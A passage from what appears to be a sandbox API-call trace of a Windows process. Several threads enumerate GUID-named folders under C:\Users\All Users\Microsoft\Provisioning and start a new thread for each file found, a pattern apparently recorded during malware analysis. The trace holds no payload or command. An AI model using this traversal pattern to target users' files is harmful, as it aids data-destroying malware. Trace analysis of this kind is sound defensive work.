returned 0x3434b68 [0074.889] wcscpy (in: _Dest=0x3434b68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0074.889] wcscat (in: _Dest=0x3434b68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0074.889] wcscat (in: _Dest=0x3434b68, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" [0076.616] Sleep (dwMilliseconds=0x1) [0077.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0077.533] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.533] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.533] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476430 [0077.534] wcscpy (in: _Dest=0x3476430, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0077.534] wcscat (in: _Dest=0x3476430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0077.534] wcscat (in: _Dest=0x3476430, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" [0077.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48 [0077.534] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.534] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.534] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429610 [0077.534] wcscpy (in: _Dest=0x3429610, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0077.534] wcscat (in: _Dest=0x3429610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0077.534] wcscat (in: _Dest=0x3429610, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" [0077.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3429610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0077.535] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.535] FindClose (in: hFindFile=0x3434028 | out: hFindFile=0x3434028) returned 1 [0077.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ecf60) returned 1 [0077.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0750) returned 1 [0077.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf638) returned 1 [0077.535] RtlExitUserThread (Status=0x0) Thread: id = 702 os_tid = 0x127c [0074.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f08b0 [0074.891] wcscpy (in: _Dest=0x33f08b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0074.891] wcscat (in: _Dest=0x33f08b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0074.891] wcscat (in: _Dest=0x33f08b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*" [0074.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed1c8 [0074.891] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*", lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434068 [0074.894] wcscmp (_String1=".", _String2=".") returned 0 [0074.894] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.894] wcscmp (_String1="..", _String2=".") returned 1 [0074.894] wcscmp (_String1="..", _String2="..") returned 0 [0074.894] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f9117b, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f9117b, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f9117b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0074.894] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.894] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3434c38 [0074.894] wcscpy (in: _Dest=0x3434c38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0074.894] wcscat (in: _Dest=0x3434c38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0074.894] wcscat (in: _Dest=0x3434c38, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" [0076.616] Sleep (dwMilliseconds=0x1) [0076.619] Sleep (dwMilliseconds=0x1) [0077.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0077.537] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6af14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6af14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6af14, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0077.537] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.537] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.537] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476508 [0077.537] wcscpy (in: _Dest=0x3476508, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0077.537] wcscat (in: _Dest=0x3476508, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0077.537] wcscat (in: _Dest=0x3476508, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" [0077.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40 [0077.538] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.538] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.538] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.538] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429838 [0077.538] wcscpy (in: _Dest=0x3429838, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0077.538] wcscat (in: _Dest=0x3429838, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\" [0077.538] wcscat (in: _Dest=0x3429838, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" [0077.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3429838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c [0077.538] FindNextFileW (in: hFindFile=0x3434068, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.539] FindClose (in: hFindFile=0x3434068 | out: hFindFile=0x3434068) returned 1 [0077.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed1c8) returned 1 [0077.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f08b0) returned 1 [0077.539] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf798) returned 1 [0077.539] RtlExitUserThread (Status=0x0) Thread: id = 703 os_tid = 0x128c [0074.893] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0960 [0074.894] wcscpy (in: _Dest=0x33f0960, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0074.894] wcscat (in: _Dest=0x33f0960, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0074.894] wcscat (in: _Dest=0x33f0960, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*" [0074.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed430 [0074.894] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*", lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34340a8 [0074.895] wcscmp (_String1=".", _String2=".") returned 0 [0074.895] FindNextFileW (in: hFindFile=0x34340a8, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.895] wcscmp (_String1="..", _String2=".") returned 1 [0074.895] wcscmp (_String1="..", _String2="..") returned 0 [0074.895] FindNextFileW (in: hFindFile=0x34340a8, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fb24d6, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fb24d6, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fb24d6, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.895] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.895] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3434d08 [0074.895] wcscpy (in: _Dest=0x3434d08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0074.896] wcscat (in: _Dest=0x3434d08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0074.896] wcscat (in: _Dest=0x3434d08, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" [0076.616] Sleep (dwMilliseconds=0x1) [0076.619] Sleep (dwMilliseconds=0x1) [0077.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0077.541] FindNextFileW (in: hFindFile=0x34340a8, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8c279, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8c279, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8c279, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.541] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.541] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x34765e0 [0077.541] wcscpy (in: _Dest=0x34765e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0077.541] wcscat (in: _Dest=0x34765e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0077.541] wcscat (in: _Dest=0x34765e0, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" [0077.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34765e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38 [0077.542] FindNextFileW (in: hFindFile=0x34340a8, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.542] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.542] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34298f0 [0077.542] wcscpy (in: _Dest=0x34298f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0077.542] wcscat (in: _Dest=0x34298f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0077.542] wcscat (in: _Dest=0x34298f0, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" [0077.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34298f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa34 [0077.543] FindNextFileW (in: hFindFile=0x34340a8, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.543] FindClose (in: hFindFile=0x34340a8 | out: hFindFile=0x34340a8) returned 1 [0077.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed430) returned 1 [0077.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0960) returned 1 [0077.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf428) returned 1 [0077.543] RtlExitUserThread (Status=0x0) Thread: id = 704 os_tid = 0x1294 [0074.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0a10 [0074.897] wcscpy (in: _Dest=0x33f0a10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0074.897] wcscat (in: _Dest=0x33f0a10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0074.897] wcscat (in: _Dest=0x33f0a10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*" [0074.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed698 [0074.897] FindFirstFileW (in: lpFileName="C:\\Users\\All 